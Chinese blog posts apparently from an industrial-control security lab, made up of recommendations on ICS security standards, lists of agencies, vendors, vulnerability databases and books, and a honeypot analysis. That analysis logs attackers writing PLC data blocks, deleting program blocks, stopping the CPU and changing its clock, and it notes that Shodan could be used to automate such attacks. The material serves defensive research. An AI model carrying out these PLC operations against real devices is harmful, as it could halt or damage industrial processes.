2)我国还未有像ISCI这类对工控安全标准符合性检测及授权的组织,从目前我国标准制定来看,中国电子技术标准化研究院、中国信息安全测评中心、国家信息技术安全研究中心比较有优势;

3)我国已发布的几个标准,缺乏标准宣贯的手段,或者没有持续性的进行宣贯。如果长期不宣贯,就会成为可有可无的标准。

国外标准只能借鉴,不能完全照搬。对我国工控安全标准制定提供如下建议:

1)信息安全标准是我国信息安全保障体系的重要组成部分,全国信息安全标准化技术委员会对我国信息安全标准的制定与推广有着举足轻重的作用。工业控制系统信息安全是国家网络安全的重要组成部分,在工控安全国家标准制定中,信安标委需要继续发挥标准制定的主导作用。

2)工控安全标准研制,最好是有信息安全专家、工控专家、行业专家等多领域专家共同参与,才能真实反映既符合网络安全要求又符合工控现场现状。

3)我国在研标准众多,需要储备进行工控安全标准符合性检测及授权的技术能力,进一步推动已发布标准的落地及规模应用;

4)对于已发布的工控安全标准,需要加紧宣贯,谨防成为下一个先烈。

工业控制信息安全资源汇总(国内篇)

$
0
0

本文由灯塔实验室原创,转载请注明出处。

一、 概述

工控安全被拉进公众视野,源于“震网”病毒在伊朗核电站的肆虐,而发展于工信部“451”号文件的发布。借助发改委高技司的信息安全之工控安全专项产业化资金,大批国内厂商和团队借助自身优势,开始布局。无论是政府、还是厂商,是资本运作、还是技术突破,是公益宣传、还是媒体广告,预迎来工控安全行业的再发展,需要想方设法的提升用户的工控安全意识,需要更多的知识普及和推广。

笔者综合国内和国外的资源,结合个人观点和经验而整理本文,供那些对工控安全感兴趣的组织或个人参考。同时希望有更多的人才,加入工控安全领域,共同努力,培养工控行业对安全意识的提升,推动行业发展。
注:所有内容,仅根据个人的了解,如有未提及,欢迎各位大侠继续补充。

二、政府与组织机构

简称电子四院,成立于1963年,是国家从事电子信息技术领域标准化的基础性、公益性、综合性研究机构。标准院以电子信息技术标准化工作为核心,通过开展标准科研、检测、计量、认证、信息服务等业务,面向政府提供政策研究、行业管理和战略决策的专业支撑,面向社会提供标准化技术服务。标准院承担了54个IEC、ISO/IEC/JTC1的TC/SC国内技术归口和14个全国标准化技术委员会秘书处的工作,标准院作为TC260的归口单位,承担中国工控安全标准化的制定工作,已协调及牵头研制14项工控安全标准。

网址:http://www.cesi.ac.cn/index.html

资源:工控安全标准

联盟成立于2014年4月17日,目前已有成员单位近50家,据悉2016年将有新的单位和委员加入。主要从事工业控制系统信息安全的技术与市场研究、标准制定、产品研发、测试与认证、生产制造、应用与服务的企事业单位、科研机构、用户单位、厂商、大专院校,及其他相关机构自愿组成的非营利性组织。

网址:http://www.icsisia.com

资源:行业新闻动态

简称电子一所,成立于1959年,是国防科技工业技术基础六大领域(核、航天、航空、船舶、兵器、电子)情报研究所的重要组成部分。伴随着中国电子信息产业、国防科技工业的发展,以及中国工业化和信息化的融合进程,电子一所服务于新型工业化和国防现代化建设的、战略情报研究和知识产权支撑服务能力突出的国家公益性新型情报研究机构,成为支撑战略决策的智库、服务产业创新的平台。致力于工控安全态势分析和情报收集,于2016年成立了国家工业控制系统与产品安全质量监督检验中心。

网址:http://www.etiri.com.cn/index.html

资源:工控安全事件通报,态势分析

中国电子信息产业发展研究院(赛迪集团),面向政府、行业及企业,提供决策支撑、系统测评、应用推广、安全培训等工业控制系统第三方测评业务。建有多个工控相关模拟仿真试验验证平台。

网址:http://www.cstc.org.cn/templet/default/zyfw.jsp?id=2607

资源:实验仿真、产品测试

国家计算机网络应急技术处理协调中心(简称“国家互联网应急中心”,英文简称是CNCERT或CNCERT/CC),成立于2002年9月,为非政府非盈利的网络安全技术中心,是我国网络安全应急体系的核心协调机构。CNCERT根据对工控安全事件信息的搜集,整理并发布网络安全态势报告,减少各种漏洞、病毒、木马等威胁向工业控制系统扩散。

网址:http://www.cert.org.cn/

资源:可靠性和安全性测评

为了加快推动我国信息安全产业发展,进一步提升我国信息安全产品技术水平,发改委高技司分别于2012年和2013年对工控安全领域进行了产业化和试点项目的资金支持。

网址:http://gjss.ndrc.gov.cn/gjsgz/201502/t20150216_684880.html

测试信息发布网站:http://ipv6.mctc.gov.cn

资源:专项资金

三、资讯类

名称 简介 网址 资源
安全牛 信息安全的新媒体,报道、分析与研究信息安全和IT风险管理相关热点话题,关注相关行业的安全建设,与工业控制相关的内容也被包括在内。 http://www.aqniu.com 新闻事件,行业动态
XCon XCon安全焦点信息安全技术峰会是国内较知名的信息安全会议之一,多年来,广邀国内外信息安全界的专家、信息安全工作者、信息安全爱好者欢聚一堂,努力打造一个友好和谐的交流平台。
在2015年的论坛中,关于工控安全的议题《欧洲智能电网的实用安全评估》
http://xcon.xfocus.net 信息安全技术
KCon 由知道创宇创办,致力于黑客过程、技术和文化的分享平台,在2015年举办的论坛中,涉及工控安全议题有:《工业网络渗透,直击工控安全的罩门》、《工控系统安全威胁与应对探索》、《Exploit PLC on the internet》。 http://kcon.knownsec.com/ 信息安全技术
工业控制信息安全峰会 依托于工业控制系统信息安全产业联盟,国内最具规模的工业控制信息安全专业论坛,演讲人员多为企事业单位的学者和高管,参会人员来自电力、石化、冶金、交通、市政等行业的用户单位、系统集成商、生产厂商、设计院、大学及科研单位。每年一届,每届定期举办不少于4站,内容侧重工业控制领域。通过多次举办的参与度,可以感受国内企业对工业控制系统信息安全问题的关注与重视在不断提高,同时也发现了国内工控信息安全产业巨大的发展潜力和广阔的发展空间。 http://huodong.kongzhi.net/2015ICSIS-4/index.html 解决方案

四、媒体与刊物

名称 简介 网址 资源
自动化博览 《自动化博览》是由中国科协主管、中国自动化学会主办、国内外公开发行的大型月刊,创刊于1983年10月。集大中型控制系统(DCS、FCS、SCADA)、工厂信息化(MES、SIS、ERP、CIMS)、先进控制与优化软件、组态软件、现场总线与工业以太网、工业无线通讯、OPC、PLC&PAC、RTU、HMI、工控机与嵌入式系统、工业安全等等,其中工业控制信息安全成为主要关注话题之一,每期均有专题技术论文或解决方案,用户可以登录网站申请免费订阅。 http://www.autop.com.cn/ 技术论文,解决方案,行业最新发展趋势
中国工控网 ICS信息安全频道 http://www.gongkong.com/safety1/ 工控安全厂商及产品展示及厂商的最新解决方案
控制工程网 工业安全频道 http://www.cechina.cn/ 工业安全产品、厂商

五、工控安全漏洞库

名称 简介 网址 资源
ICS-CERT 作为美国国家国土安全部的一部分,保证控制系统的安全性和风险可控,协调相关安全事件和信息共享 。国内的很多机构/组织/社区平台都引用该平台发布的漏洞信息报告,另外从该平台网站,还可以获取定期组织的为期5天的专题培训信息。 https://ics-cert.us-cert.gov/ 漏洞,培训
国家信息安全漏洞共享平台 官方:国家信息安全漏洞共享平台(China National Vulnerability Database,简称CNVD)是由国家计算机网络应急技术处理协调中心(中文简称国家互联应急中心,英文简称CNCERT)联合国内重要信息系统单位、基础电信运营商、网络安全厂商、软件厂商和互联网企业建立的信息安全漏洞信息共享知识库。 http://www.cnvd.org.cn/ 最新漏洞信息发布
乌云社区 大名鼎鼎的信息安全漏洞及事件发布平台,WooYun是一个位于厂商和安全研究者之间的安全问题反馈平台,在对安全问题进行反馈处理跟进的同时,为互联网安全研究者提供一个公益、学习、交流和研究的平台。其名字来源于目前互联网上的“云”,在这个不做“云”不好意思和人家打招呼的时代,网络安全相关的,无论是技术还是思路都会有点黑色的感觉,所以自然出现了乌云。

该平台聚集了众多白帽子,这些白帽子提交并发布了大量工控安全案例。

http://www.wooyun.org/ 安全事件

六、认证与标准

 

中国信息安全测评中心是经中央批准成立的国家信息安全权威测评机构,主要职能包括:为信息技术安全性提供测评服务。工业控制系统产品测评是对工业控制系统中的各类产品进行功能性及安全性测试,包括控制类产品(即工业控制设备)和安全类产品(工业安全设备)。其中控制类产品包括可编程控制器(PLC)、离散控制系统(DCS)、远程终端单元(RTU)、智能电子设备(IED)、各行业控制系统等用于生产控制的产品;安全类产品包括工业防火墙、工业安全网关、工业异常监测系统、工业应用软件漏洞扫描产品等用于工业环境安全防护的产品。根据测评依据及测评内容,工业控制系统产品测评类型包含标准测试、选型测试和定制测试等

网址:http://www.itsec.gov.cn

资源:分级评估,产品测评、测试

资源:产品检测、销售许可

      国内信息安全产品的销售许可获取,均需要经过该中心检测通过。中心具有完善的测试环境,研究领域包括信息网络安全、物联网、特种通讯、禁毒、反恐防爆、图像处理和传输以及社会公共安全防范技术等。拥有先进的检测软件和仪器设备,对国内生产、销售的计算机信息系统安全产品进行质量监督检测。

网址:http://www.mctc.org.cn/opencms/index.html

前身为国家仪器仪表工业总局情报研究室和标准化研究室合并组建成研究所,承担全国工业过程测量控制和自动化标准化技术委员(SAC/TC124),负责工业控制系统信息安全国家标准和行业标准制定,参与相关国际标准研制。同时开展对工控产品功能安全的测试服务。

网址:http://www.itei.cn/Default.aspx

资源:标准制订,功能安全检测

七、工具

名称 简介 地址
ZoomEye钟馗之眼 ZoomEye是知道创宇打造网络空间搜索引擎,其ICS搜索专题可以轻松对世界各地工业控制系统进行探索 http://ics.zoomeye.org/

八、厂商

名称 简介 产品
青岛多芬诺(海天炜业) 其母公司青岛海天炜业,成立于2003年,于今年2月挂牌新三板。最早通过与加拿大Byres Security公司结盟,将Tofino工业防火墙引入国内,2012年联合中科院软件所获得发改委产业化专项的支持。后Byres被百通收购后,开始推出国产防火墙,多用于石化/炼化行业。 工业防火墙
力控华康 由三维力控集团投资控股,2015年3月接受绿盟战略投资入股,最早从事工控安全产品研发的厂商之一。产品方面以工业网闸和工业防火墙为主,其中以OPC协议管控的工业隔离网关(架构上匹配网闸)最为受渠道商和合作伙伴欢迎。作为工控安全产品市场的先行者,其产品在石油化工、冶金、能源和环保等信息化手段发展较快的现场,被广泛应用。借助于国产组态软件市场占有率的便利条件,知名度很高。而相对于营销,政策、标准和需求存在着不确定性,对技术和人才的需求略显迫切。 工业隔离网关
珠海鸿瑞 老牌电力行业产品供应商,其信息安全产品(如隔离)获得了原电监会有限数量的测试授权,广泛应用于电力行业的分区防护。而后由ICS-3000获得发改委信息安全专项产业化支持开始,逐渐将产品延伸到其它工控领域。 工业隔离、工业防火墙
百通(赫思曼) 百通集团通过对Byres和赫思曼的收购,完成了在网络产品和安全上的布局,形成整体解决方案。TofinoXe包含50多种工业通信协议及25个系列工业控制器,并提供“深度防御”安全措施。由于目前工控安全市场主要以政府和最终用户为主,受自主产权的影响,其产品想实现单一推广较为困难,其优势在于渠道合作伙伴。 工业防火墙
西门子 由于“震网”病毒的持续发酵,作为工控安全最大的“受害者”,在电力行业又被爆出旗下品牌-罗杰康工业交换机存在漏洞。而后开始在国内加大投入,2014年3月成立工业信息安全实验室,并陆续推出包括工业防火墙(SCALANCE S 安全模块)、安全检测和服务在内的整体解决方案。 西门子系列产品安全解决方案
三零卫士(中国网安) 上海三零卫士信息安全有限公司依托中国电子科技集团公司电子第三十研究所(其控股股份已于2015-06-19划转给中国电子科技网络信息安全有限公司(简称“中国网安”)),以其信息安全和通信保密工程的技术积累和经验为基础,结合现代信息安全技术,以工业数据采集、工业防火墙和风险分析为基础,强势进入工控安全领域,多次获得政府资金支持。受决策体制影响,终端市场跟进,缺乏力度。 工业防火墙
绿盟科技 来自传统信息安全领域,创业版上市公司。作为国内领先的网络与信息安全产品和服务提供商,为协助客户尽早发现工控系统中存在的安全隐患。有专人负责工控安全业务,积极在行业活动中发表意见,参与标准制定。凭借自身十多年的漏洞挖掘与分析检测经验,研发了国内首款工控漏洞扫描系统。 工控漏洞扫描
启明星辰 传统信息安全产品和服务提供商,中小版上市公司。推出天工工控安全系列产品,覆盖管理层、监控层、设备层,重点保障工业控制系统的业务秩序,集防护检测一体,融合信息安全风险管理和技术防护的工业控制系统信息安全产品。其产品在工业控制方面的特点较少,侧重于原有信息安全产品的整合升级。凭借强大的市场知名度和营销渠道,牵头制定了烟草行业工控安全标准,并获取了大量订单。在追求业绩为主的同时,低调地进行行业布局。 天工系列产品
中科网威 由中科院高能物理研究所成立,赛迪投资,也属于传统信息安全厂商。较早针对电力行业推出工业防火墙的厂商,可能是受电力行业对产品入围的限制,并没有预期的市场覆盖。团队在市场方面非常努力,在各论坛和展会活动中非常活跃,但后续跟进乏力,与三零卫士类似,受制于决策流程,产品在其它行业的营销投入有待加强。 工控防火墙
匡恩网络 以工控安全为题材的投资型厂商,致力教育市场和投资人,公司成立至今已进行频繁的资本整合,令人瞠目。公司在政府层面知名度非常高,以行业解决方案为题材的模拟仿真沙盘颇受欢迎,这符合当下目前国内工控安全投资形势。其产品在用户现场应用数量是目前该公司的重点工作之一,产品附加值高,口碑复杂。 行业演示与仿真沙盘
威努特 由具有华为和匡恩工作经历的核心团队创建,技术研发继承了华为的精益素养和战斗能力,参考了匡恩的产品规划,现由奇虎360和神州数码投资,并独立运营。团队规模扩大很快,以较低的投入获得了极大的宣传影响。在解决方案和行业应用方面的需求分析能力有待深入,产品附加值高。 工业防火墙
MOXA 台湾404科技,主流的串口联网和以太网产品供应商,5年的产品保修承诺引领行业。最早推出工业防火墙的厂商之一,产品是集防火墙/NAT、VPN于一体的安全型路由器。作为一款市场扩充产品,后期市场推广力度较小。 工业防火墙(路由器)
新汉 新汉发布全新工业防火墙产品线,系列产品有助于加强工业应用的在线安全。为优化运营效率,工业应用包括自动化控制器,医疗设备,和电动汽车充电站使用的独立在线网络。预防在线的网络威胁,新汉系列工业防火墙集成VPN连接的工业多端口防火墙路由器。部分产品支持IEC 61850-3和IEEE 1613标准。 工业防火墙
东土 以工业交换机为主的创业版上市公司(2012年由新三版转入),针对工控安全方面,有“工业安全服务器”产品。根据其网站介资料绍分析,该产品的推出主要是应对发改委信息安全专项。通过协议和数据的白名单,基于交换技术为基础的过滤产品。东土科技始终致力于推进工业以太网的普及和应用,理论上对工控设备联网而引发的安全问题反应会更加灵敏,因此可以预测,未来东土将通过资本和技术方式,加大对工控安全的布局和投入。 边界安全网关
霍尼韦尔 霍尼韦尔(中国)的工业网络安全解决方案帮助工厂和重要基础设施部门维护自己的工业控制系统( ICS)和工厂运营 的可用性、可靠性 和安全性。
从评估和审核到响应和恢复,终端到终端的解决方案系列产品在过程控制和网络安全中利用了霍尼韦尔(中国)行业领先的专业技术和经验。 其管理服务和完整的解决方案满足了过程控制环境的特定需求,包括石油和天然气、化工、炼油和石油化工、能源和电力、矿产、采矿和金属、以及纸浆和造纸等行业。
针对霍尼韦尔的综合解决方案
横河电机 横河电机根据工业网络安全网络安全标准建立安全生命周期途径。横河电机按照客户的要求和操作条件,提供有效的安全服务。其CENTUM VP现场控制单元获得了ISA安全合规性协会(ISCI)的ISASecure®嵌入式设备安全保障(EDSA)认证。获得认证必须通过CSSC(控制系统安全中心)认证实验室的审查。可以确保CENTUM具备石油、石化、电力等行业应用所需的网络安全特性。 针对横河系统的网络安全解决方案

九、书籍类

序号 名称 作者 出版信息 内容简介 阅读参考
1 《工业SCADA系统信息安全技术》 饶志宏 (作者), 兰昆 (作者), 蒲石 (作者) 出版社: 国防工业出版社; 第1版 (2014年5月1日) 《工业SCADA系统信息安全技术》讲述了工业监视控制与数据采集(SCADA)系统基本概念,系统地分析工业SCADA系统存在的脆弱点和面临的信息安全威胁,阐述了工业SCADA系统信息安全体系,论述其相应的关键技术;介绍了典型电力SCADA系统信息安全实际工程应用案例,并对国内外工业控制系统信息安全的发展趋势进行了分析。读者对象:政府、军队、高校、科研机构等从事工业控制系统信息安全研究的科研人员,以及相关企业进行工业控制系统信息安全开发、建设和应用的技术人员。 非工控行业专业级,

推荐阅读指读:

★★★★☆

2 《工业控制系统信息安全》 肖建荣 (作者) 出版社: 电子工业出版社; 第1版 (2015年9月1日) 本书简洁、全面地介绍了工业控制系统信息安全概念和标准体系,系统地介绍了工业控制系统架构和漏洞分析,系统地阐述了工业控制系统信息安全技术与方案部署、风险评估、生命周期、管理体系、项目工程、产品认证、工业控制系统入侵检测与入侵防护、工业控制系统补丁管理。 入门级,

推荐阅读指读:

★★★☆☆

3 《工业控制系统安全等级保护方案与应用》 蔡皖东 (作者) 出版社: 国防工业出版社; 第1版 (2015年3月1日) 《工业控制系统安全等级保护方案与应用》分为7章,分别介绍了工业控制系统信息安全概论、工业控制系统安全等级保护定级、工业控制系统安全等级保护要求、工业控制系统等级保护安全设计、工业控制系统安全等级保护实施、工业控制系统安全等级保护测评和工业控制系统安全等级保护方案应用。 入门级,

推荐阅读指读:

★★☆☆☆

4 《工业网络安全—智能电网,SCADA和其他工业控制系统等关键基础设施的网络安全》 [美] Eric D.Knapp 著;周秦,郭冰逸,贺惠民 等 译 出版社: 国防工业出版社
出版时间:2014-06-01
近年来,经常听闻同一件事:我们国家的关键基础设施是脆弱的,需要得到应有的安全防护。纳普所著的《工业网络安全》一书向您解释了作为工业控制系统基础的特定协议和应用,并且为您提供了对它们进行保护的一些非常容易理解的指南。除了阐述合规指南、攻击与攻击面,甚至是一些不断改进的安全工具外,本书还为您提供了关于SCADA、控制系统协议及其如何运作的一个清晰理解。 信息安全领域专业级,推荐阅读指读:

★★★☆☆

5 《智能电网安全:下一代电网安全》 托尼•弗里克 (Tony Flick) (作者), 贾斯汀•莫尔豪斯 (Justin Morehouse) (作者), 徐震 (译者), 于爱民 (译者), 刘韧 (译者) 出版社: 国防工业出版社; 第1版 (2013年1月1日) 《智能电网安全:下一代电网安全》着眼于当前智能电网的安全以及它是如何被开发和部署到全球千万家庭中的。《智能电网安全:下一代电网安全》详细讨论了针对智能仪表和智能设备的直接攻击以及针对配套网络和应用程序的攻击,并给出如何防御这些攻击的建议。《智能电网安全:下一代电网安全》给出了一个针对成长中的系统如何实现安全性的框架,用来指导安全顾问与系统和网络架构师如何防范大大小小的攻击者,从而保证智能电网的稳健运行。《智能电网安全:下一代电网安全》详细介绍了如何使用新旧黑客技术来攻击智能电网以及如何防御它们。讨论当前的安全举措。以及它们达不成所需目标的原因。找出黑客是如何利用新的基础设施攻击基础设施。 专业级,推荐阅读指读:

★★★★☆

6 《智能电网信息安全指南(第1卷):智能电网信息安全战略架构和高层要求》 美国国家标准和技术研究院 (编者), 中国电力科学研究院 (译者) 出版社: 中国电力出版社; 第1版 (2013年1月1日) 《智能电网信息安全指南(第1卷):智能电网信息安全战略架构和高层要求》由美国国家标准和技术研究院所著,提出了美国针对智能电网信息安全的分析框架,供相关组织根据智能电网业务特性、安全风险和漏洞制定有效的信息安全战略参考使用。主要内容包括信息安全战略、智能电网的逻辑架构和接口、高层安全要求、密码和密钥管理等,可供相关读者阅读学习。 专业级,推荐阅读指读:

★★★★★

7 《智能电网信息安全指南:美国国家标准和技术研究院7628号报告(第二、第三卷)》 美国国家标准和技术研究院 (作者), 中国电力科学研究院 (译者) 出版社: 中国电力出版社; 第1版 (2014年6月1日) 本书为《智能电网信息安全指南 美国国家标准和技术研究院7628号报告》第二、第三卷,内容包括隐私和智能电网、脆弱性类别、智能电网的自下而上安全分析、智能电网信息安全的研究与开发主题、标准审阅综述、关键电力系统安全要求用例。该报告提出了美国针对智能电网信息安全的分析框架,供相关组织根据智能电网业务特性、安全风险和漏洞制定有效的信息安全战略参考使用。 专业级,推荐阅读指读:

★★★★★

结语:相信负责任的知识传承和分享,能够降低科技成果的利用成本,提高使用率。———《灯塔实验室》 

 

浅谈一次针对公网PLC恶意操作行为的简单分析

$
0
0

本文由灯塔实验室原创,转载请注明出处

说到本文的起因是源于我们部署在公网的一个针对西门子PLC S7协议(S7-300/S7-400)的仿真程序上(项目地址),收到了来自互联网的恶意修改,写入,删除,停止等控制PLC关键运行状态的协议控制指令。这使我们意识到,这些安全威胁针对真实的PLC也是切实存在的,暴露在公网的PLC会受到针对性的测试,并且这些攻击均可能是通过tor匿名网络进行的。
如下为部分恶意操作行为片段:

2016-02-10 15:24:49 [209.133.66.214] Block info requested DB 1 --> OK
2016-02-10 15:25:00 [209.133.66.214] Block info requested DB 1 --> OK
2016-02-10 15:25:04 [209.133.66.214] Block info requested DB 1 --> OK
2016-02-10 15:25:06 [209.133.66.214] Block info requested DB 3 --> OK
2016-02-10 15:25:32 [209.133.66.214] Block info requested DB 1 --> OK
2016-02-10 15:25:33 [209.133.66.214] Read request, Area : DB1, Start : 0, Size : 462 --> OK
2016-02-10 15:25:34 [209.133.66.214] Read request, Area : DB1, Start : 462, Size : 50 --> OK
2016-02-10 15:25:44 [209.133.66.214] Block info requested DB 1 --> OK
#向DB1数据区写入数据
2016-02-10 15:25:44 [209.133.66.214] Write request, Area : DB1, Start : 0, Size : 452 --> OK
2016-02-10 15:25:45 [209.133.66.214] Write request, Area : DB1, Start : 452, Size : 60 --> OK
2016-02-10 15:25:50 [209.133.66.214] Read SZL request, ID:0x0000 INDEX:0x0000 --> OK
2016-02-10 15:25:54 [209.133.66.214] Read SZL request, ID:0x0000 INDEX:0x0000 --> OK
2016-02-10 15:26:02 [209.133.66.214] Read SZL request, ID:0x0000 INDEX:0x0000 --> OK
2016-02-10 15:26:05 [209.133.66.214] Read SZL request, ID:0x0f00 INDEX:0x0000 --> OK
2016-02-10 15:26:08 [209.133.66.214] Read SZL request, ID:0x0002 INDEX:0x0000 --> OK
2016-02-10 15:26:17 [209.133.66.214] Read SZL request, ID:0x0011 INDEX:0x0000 --> OK
2016-02-10 15:26:21 [209.133.66.214] Read SZL request, ID:0x0011 INDEX:0x0000 --> OK

#向DB1、2、3数据区写入数据
2016-02-22 06:54:19 [93.115.95.202] Write request, Area : DB1, Start : 0, Size : 16 --> OK
2016-02-22 06:54:19 [93.115.95.202] Write request, Area : DB2, Start : 0, Size : 16 --> OK
2016-02-22 06:54:19 [93.115.95.202] Write request, Area : DB3, Start : 0, Size : 16 --> OK

2016-02-22 06:54:38 [93.115.95.202] Read request, Area : DB1, Start : 0, Size : 2 --> OK
2016-02-22 06:54:39 [93.115.95.202] Read request, Area : DB1, Start : 0, Size : 2 --> OK
2016-02-22 06:54:39 [93.115.95.202] Read request, Area : DB1, Start : 0, Size : 2 --> OK
2016-02-22 06:54:39 [93.115.95.202] Read request, Area : DB1, Start : 0, Size : 2 --> OK
2016-02-22 06:54:40 [93.115.95.202] Read request, Area : DB1, Start : 0, Size : 2 --> OK
2016-02-22 06:54:40 [93.115.95.202] Read request, Area : DB1, Start : 0, Size : 2 --> OK
2016-02-22 06:54:40 [93.115.95.202] Read request, Area : DB1, Start : 0, Size : 2 --> OK
##删除CPU程序块
2016-02-22 06:54:43 [93.115.95.202] CPU Control request : Block Insert or Delete --> OK
2016-02-22 06:54:46 [93.115.95.202] Block upload requested --> OK
2016-02-22 06:54:46 [93.115.95.202] Block upload requested --> OK
2016-02-22 06:54:46 [93.115.95.202] Client disconnected by peer

2016-02-22 06:57:55 [37.48.80.101] Read SZL request, ID:0x0232 INDEX:0x0004 --> OK
2016-02-22 06:57:56 [37.48.80.101] Read SZL request, ID:0x0232 INDEX:0x0004 --> OK
2016-02-22 06:57:58 [37.48.80.101] Read SZL request, ID:0x0232 INDEX:0x0004 --> OK
2016-02-22 06:57:59 [37.48.80.101] Read SZL request, ID:0x0232 INDEX:0x0004 --> OK
2016-02-22 06:58:00 [37.48.80.101] Read SZL request, ID:0x0232 INDEX:0x0004 --> OK
2016-02-22 06:58:01 [37.48.80.101] Read SZL request, ID:0x0232 INDEX:0x0004 --> OK
2016-02-22 06:58:03 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:03 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:05 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:06 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:07 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:08 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
##冷启动PLC CPU
2016-02-22 06:58:09 [37.48.80.101] CPU Control request : Warm START --> OK
2016-02-22 06:58:09 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:11 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:11 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:13 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:14 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:15 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:16 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:18 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:18 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:20 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:20 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
##停止PLC CPU
2016-02-22 06:58:21 [37.48.80.101] CPU Control request : STOP --> OK
2016-02-22 06:58:22 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:23 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:24 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:26 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK
2016-02-22 06:58:26 [37.48.80.101] Read SZL request, ID:0x0424 INDEX:0x0000 --> OK

2016-02-22 07:02:48 [37.48.80.101] System clock read requested
2016-02-22 07:02:49 [37.48.80.101] System clock read requested
2016-02-22 07:02:50 [37.48.80.101] System clock read requested
2016-02-22 07:02:52 [37.48.80.101] System clock read requested
2016-02-22 07:02:52 [37.48.80.101] System clock read requested
2016-02-22 07:02:52 [37.48.80.101] System clock read requested
2016-02-22 07:02:55 [37.48.80.101] System clock read requested
2016-02-22 07:02:55 [37.48.80.101] System clock read requested
2016-02-22 07:02:57 [37.48.80.101] System clock read requested
2016-02-22 07:03:00 [37.48.80.101] System clock read requested
2016-02-22 07:03:01 [37.48.80.101] System clock read requested
##修改PLC系统时间
2016-02-22 07:03:02 [37.48.80.101] System clock write requested
2016-02-22 07:03:03 [37.48.80.101] System clock write requested
2016-02-22 07:03:03 [37.48.80.101] System clock read requested
2016-02-22 07:03:04 [37.48.80.101] System clock read requested
2016-02-22 07:03:05 [37.48.80.101] System clock read requested
2016-02-22 07:03:06 [37.48.80.101] System clock write requested
2016-02-22 07:03:06 [37.48.80.101] System clock write requested
2016-02-22 07:03:06 [37.48.80.101] System clock write requested
2016-02-22 07:03:06 [37.48.80.101] System clock write requested
2016-02-22 07:03:07 [37.48.80.101] System clock read requested
2016-02-22 07:03:08 [37.48.80.101] System clock read requested
2016-02-22 07:03:08 [37.48.80.101] System clock read requested
2016-02-22 07:03:09 [37.48.80.101] System clock read requested

关于这些IP的一些开放式历史威胁情报:
https://exchange.xforce.ibmcloud.com/ip/37.48.80.101
https://exchange.xforce.ibmcloud.com/ip/209.133.66.214
https://exchange.xforce.ibmcloud.com/ip/93.115.95.202

关于影响PLC运行与攻击PLC的手段

即使在如今大多数厂商PLC在远程访问控制、用户认证这类功能上仍还有欠缺。这也便导致了只要可以访问到设备便可以直接操作设备的功能,我曾经在之前的博文中提到过通过对特定协议功能的重放构造(如停机指令,修改数据等功能),而再根据目前的一些设备搜索引擎如Shodan等,通过工程化就不难实现一套自动批量攻击程序。

整网的安全态势?

那么暴露在公网中的PLC是否也存在过类似被恶意操作的情况呢,为此我们在日前通过icsresearch2.plcscan.org的节点对全球TCP/102端口的S7服务进行了深度探测,在发现的800多套S7-300(所有货号为:6ES7-3**-*****-****)/S7-400(所有货号为:6ES7-4**-*****-****)PLC CPU中提取了PLC内部的所有的诊断缓冲区。通过对PLC内部的诊断缓冲区“事件”的分析发现其中有高达80多套PLC中存在“被远程设置CPU到STOP模式的记录”,而该事件出现的原因,一是来自于用户的正常调试,二则极有可能是攻击者的恶意操作所致。

s7cpubuffer

工业控制信息安全资源汇总(国外篇)

$
0
0

本文由灯塔实验室原创,转载请注明出处。

一、概述

继发布工控安全国内篇后,整理国外相关资源,以供参考。
综合分析,国外从事工控安全技术研究要比国内早,受《瓦森纳协定》及国内自主可控的政策影响,目前国外工控安全厂商在国内活跃的并不多。而国内业内人士能够走出去,与国际进行广泛交流的机会也有限,多集中在传统安全团队、政府和科研机构。能够将国外产品和技术引进国内的,普遍具有较高行业视角,在挖掘客户痛点、解决方案能力和资本游说方面,具有明显优势。因此,笔者强烈建议对工控安全热点感兴趣的同仁,多关注国际动态,知己知彼。

二、新闻资讯与论坛信息

名称 简介 资源
S4 S4论坛由“Digital Bond”组织并策划,是国际上最为知名专注ICS和SCADA技术和议题的论坛。其举办形式不断创新,所邀请嘉宾也越来越有质量。 工控安全案例、事件和技术
ARC Advisory Group ARC顾问集团创立于1986年, 总部位于美国波士顿,是一家在全球工业领域享誉盛名的咨询公司。长期以来,ARC致力于为客户提供客观、中立和精确的分析观点,帮助客户在市场、技术、运营和战略咨询等方面,开拓卓越的发展蓝图。该组织在国内的工控安全市场极为活跃,其发布的报告 市场分析、最新技术和产品
ICS Cyber Security 定位于中小企业的网络安全专业人员与控制系统管理人员,会议提供与ICS相关的监视和控制网络安全解决方案,以及介绍如何使用最新的ICS发展技术和保护控制系统免受恶意入侵。

最新活动:2016年4月26~28日

论坛

Industrial Control Systems  Cyber Security Conference
